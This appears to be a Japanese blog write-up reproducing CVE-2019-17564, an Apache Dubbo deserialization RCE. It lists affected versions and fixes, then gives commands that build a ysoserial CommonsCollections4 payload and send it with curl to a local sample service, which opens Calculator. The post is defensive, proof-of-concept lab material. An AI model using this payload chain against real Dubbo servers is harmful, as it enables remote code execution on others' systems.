はじめに
2020年2月10日にApache Dubbo の脆弱性が公表されました。
CVE-2019-17564が登録されたのは2019年10月14日のようです。
本脆弱性の内容を一言で言うと、「安全でないデシリアライゼーションのJava版」です。
こちらのメールにて Dubboプロジェクトチーム に対して本脆弱性が伝えられています。
https://www.mail-archive.com/dev@dubbo.apache.org/msg06225.html
CVE STALKER のデイリーランキングでは7位になっています。
Apache Dubbo とは
Apache DubboはJavaをベースにした、オープンソースのリモートプロシージャコールフレームワークである。
元々はアリババが開発していたものが2011年にOSSになったらしいです。
「Apache Dubbo」で検索してみましたが日本語の記事は以下のものしか見当たりませんでした。
日本国内ではあまり普及していないソフトウェアではないかと考えられます。中国語の記事が多いイメージでした(ビリビリ動画 など)。
www.infoq.com
脆弱性について
その 「Apache Dubbo」からデシリアライズの脆弱性(安全でないデシリアライゼーション)が発見されました。
条件さえ揃えば、この脆弱性を利用することでRCEが可能になる脆弱性です。
Twitterのタイムラインを眺めていても、みんな電卓を起動しているようでした。
▼ Windows の電卓
#CVE-2019-17564 Apache Dubbo deserialization RCE pic.twitter.com/3JiuKTo7Sl
— pyn3rd (@pyn3rd) February 12, 2020
▼ Mac の電卓
#CVE-2019-17564 Apache Dubbo unserialize RCE 反序列化漏洞 pic.twitter.com/7ukCFDV5iQ
— Jas502n (@jas502n) February 13, 2020
影響を受けるバージョン
- Dubbo 2.7.0 ~ 2.7.4
- Dubbo 2.6.0 ~ 2.6.7
- Dubbo 2.5.x系 (サポートされていない)
私が確認した部分だと2.7.4.1
では再現しませんでした。
解決策
- HTTPプロトコルを無効化
- バージョンを
2.7.5
以上にアップデート(2.7.5 は2019年12月29日にリリース済み)
検証環境の準備
検証は Apache Dubbo のサンプルコードを利用することにします。これが一番簡単な構築方法だと思います。
以下のリポジトリがそのサンプルコードです。
そのサンプルコードの中でも今回はHTTPプロトコルを用いるため、dubbo-samples-http を利用します。
Apache ZooKeeper を起動
Dubbo を起動させるために必要です。コンテナイメージが用意されていますのでそちらを利用します。
$ cd ~/IdeaProjects/dubbo-samples $ cd java/dubbo-samples-zookeeper/src/main/resources/docker $ docker-compose up
アプリケーションの修正と起動
pom.xml
で Dubbo のバージョンに 2.7.3
を指定します。
引き続き、Apache Commons Collections バージョン4.0
を依存に追加します。4.0以外では本記事のやり方ではうまくいきません。
このように特定のライブラリがソフトウェアに含まれていることが、RCEを成功させるために必要な条件の1つです。
最後にHttpProvider
を起動します。無事起動したら準備は完了となります。
脆弱性の検証
次はペイロードの作成と実際に脆弱性を確認するところまでやってみます。
ysoserial を使ってペイロードを生成
次に ysoserial を使ってペイロードを作成していきます。
ysoserial がどのようなツールなのかを簡単に説明すると、デシリアライズ時に任意のJavaコードを実行するバイナリを生成するツールです。
Javaではオブジェクトをシリアライズするとバイナリになるようになっていますので、このツールの出力結果もバイナリとなっています。
ですので、出力結果は一旦ファイルに保存する利用方法になるかと思います。本記事でもそのように利用しています。
余談として、他言語で同様の役割をするツールとして、PHPの PHPGGC があります。
PHPのシリアライズ後の文字列はJavaより分かりやすいため、デシリアライズの脆弱性(安全でないデシリアライゼーション)の学習にはうってつけです。
// ysoserial の取得とビルド $ git clone https://github.com/frohoff/ysoserial.git $ cd ysoserial $ mvn clean package -DskipTests // Jarの確認 $ cd target/ $ ls -l ysoserial-0.0.6-SNAPSHOT-all.jar // ペイロードの生成 // 本記事では Apache Commons Collections 4.0 を使っているので 第1引数 CommonsCollections4 を指定します。 // 第2引数には実行するコマンドを記述します。ここでは電卓が起動するように指定しています。 $ java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4 'open -a Calculator' > poc.ser
ペイロードの中身を確認
poc.ser
ファイルの上部を確認してみるとマジックナンバーが「ac ed
」となっています。
これはJavaのシリアライズ後のバイナリ列ということを表しています。(参考: シリアライズ : kei@sodan)
ペイロードの送信
このバイナリ列をサンプルアプリケーション対して送信してみます。HTTPクライアントは何でもよいのでcurlコマンドを用いています。
$ curl "http://127.0.0.1:8080/org.apache.dubbo.samples.http.api.DemoService" --data-binary @poc.ser
電卓が起動し、RCEが成功したことを確認することができました。
修正版 2.7.5 で試してみる
エラーになりました。
エラーの内容は JSON-RPCのフォーマットでないことが指摘されています。バージョンアップに伴いリクエストの形式に変更があったようです。
参考
更新履歴
- 2020年 2月14日 新規作成